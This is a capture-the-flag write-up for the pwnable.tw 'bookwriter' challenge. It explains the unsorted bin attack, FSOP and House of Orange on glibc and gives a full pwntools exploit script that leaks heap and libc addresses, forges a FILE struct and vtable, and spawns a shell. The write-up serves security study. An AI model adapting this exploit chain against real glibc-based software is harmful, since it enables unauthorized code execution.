pwnable tw bookwriter writeup

This pwn need to use Unsorted Bin Attack and House Of Orange to exploit. First, I would like to introduce Unsorted Bin Attack, House Of Orange and some relevant technique.

0x01 Unsorted Bin Attack

Environment: I use 64 bit to make example.

Condition: Control unsorted chunk’s bk pointer.

Unsorted Bin uses FIFO strategy.

Steps:

  • Set free unsorted chunk’s pointer to target_addr - 0x10, this chunk will be the first free chunk in Unsorted Bin.
  • Call malloc, the first free chunk will be put into the corresponding bin.
  • Then the operations below will be performed:
1
2
3
4
victim = unsorted_bin(av)->bk = p;
bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk
unsorted_bin(av)->bk = bck;
bck->fd = unsorted_bin(av); // bck->fd is *(target_addr)

So, use Unsorted Bin Attack can set target_addr’s value to main_arean+88.

0x02 FSOP

FSOP(File-Stream Oriented Programming), like ROP and SROP, but it use FILE struct to construct the exploit chain. One of the use of FSOP is House Of Orange.

FSOP mainly use _IO_flush_all_lockp function, it flushes all standard I/O stream before process being terminated. It travels all FILE struct by element _chain pointer. The code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; // travel by _chain
}

return result;
}

According to the code above, _IO_flush_all_lockp which called by abort will call_IO_OVERFLOW (fp, EOF), and we can hijack 用_IO_OVERFLOW through FILE struct’s vtable. There are 3 situations that program will call abort:

  • glibc abort
  • exit function
  • main return

When there occurs some errors in malloc, it will call malloc_printerr and then malloc_printerr calls abort.

This exploit makes advantage of changing _IO_list_all and forges vtable which includes _IO_OVERFLOW pointer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
extern struct _IO_FILE_plus *_IO_list_all;
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_FILE FILE;
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* ... */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

0x03 Pwnable.tw bookwriter

leak libc information and heap address

At the beginning of the program, pwner needs to input the name of author on bss_0x602060 which behind the chunk_list(bss_0x6020A0). Pwner can input a string of length 0x40 without \x00, when program output the author’s name, the heap address leaks.

In Edit() function, there are two lines of code following, in InputString() function, it doesn’t end up input string with \x00 which leads to larger string length.

1
2
InputString((__int64)CHUNK_LIST[idx], SIZE_LIST[idx]);
SIZE_LIST[idx] = strlen(CHUNK_LIST[idx]);

The first part of expolit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def pwn():
p = process('./bookwriter')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
p.recvuntil('Author :')
# input auther name of length 0x40 without \x00
p.send('A' * 0x40)

Add(p, 0x18, 'A' * 0x18) # 0
sleep(0.3)
# extend size of chunk 0
Edit(p, 0, 'A' * 0x18)
# overflow top chunk size and let its size to be 0xfe1
Edit(p, 0, '\x00' * 0x18 + '\xe1\x0f\0')

# leak heap address by author name
recv = Info(p, null, 0)
heap_addr = u64(recv['old_author'][0x40:].ljust(8, '\x00')) - 0x10
print hex(heap_addr)

But how to leak libc information while there is no free() in the program?

When user malloc a chunk whose size is larger than top chunk, the program will call sysmalloc() and free the top chunk into unsorted bin. Then the top chunk fd and bk will point to the address which is relevant with main_arena.

1
2
3
4
5
6
7
8
9
10
# trigger free in sysmalloc, now the top chunk size is 0xfe1
Add(p, 0x1000, 'sunichi') # 1 0x1000 > 0xfe1
Add(p, 0x40, 'sunichi!') # 2

# leak libc address
recv = View(p, 2)
main_arena_88 = u64(recv[8:].ljust(8, '\x00'))
libc_base_addr = main_arena_88 - 0x3c4b78 - (1640 - 88)
system_addr = libc_base_addr + libc.symbols['system']
io_list_all_addr = libc_base_addr + libc.symbols['_IO_list_all']
unsorted bin attack and perform house of orange to get the shell

Now, we know the heap and libc address and the next step is to perform unsorted bin attack.

First, construct a chunk of size 0x61. When it comes to malloc(1), the fake chunk will be put into fastbin[4]. Use unsorted bin attack, _IO_list_all will be changed to main_arena+88. After the fake chunk being put into fastbin[4], the malloc() will continue to find the next free unsorted chunk. Because next chunk’s size is 0, malloc() then triggers printerr(). So the program searches the FILE struct from _IO_list_all whose value is already main_arena+88 and calls FILE_OVERFLOW().

The first FILE struct is invalid, and through the main_arena+88->_chain(main_arena+216), the program will find the next FILE struct whose address is fastbin[4]’s first chunk which is forged by pwner. So the following code will be triggered:

1
FILE_OVERFLOW(fp, EOF) => system(fp) => system('/bin/sh')

The last part of exploits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Index overflow, the size of chunk[0] will be changed to heap address
for i in range(0x3, 0x9):
Add(p, 0x20, str(i) * 0x20)

vtable_addr = heap_addr + 0x248

payload = 0x170 * '\x00'

fake_stream = '/bin/sh\x00' + p64(0x61)
fake_stream += p64(0) + p64(io_list_all_addr - 0x10) # unsorted bin attack
fake_stream = fake_stream.ljust(0xa0, '\x00')
fake_stream += p64(heap_addr + 0x250)
fake_stream = fake_stream.ljust(0xc0, '\x00')
fake_stream += p64(1) + 2 * p64(0) + p64(vtable_addr)

payload += fake_stream
payload += p64(2)
payload += p64(3)
payload += p64(system_addr)

Edit(p, 0, payload)

p.recvuntil('Your choice :')
p.sendline(str(1))
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()


Relevant Article

https://bbs.pediy.com/thread-223334.htm

http://weaponx.site/2018/06/11/BookWriter-Writeup-pwnable-tw/

http://veritas501.space/2018/03/04/pwnable.tw%2011~18%E9%A2%98%20writeup/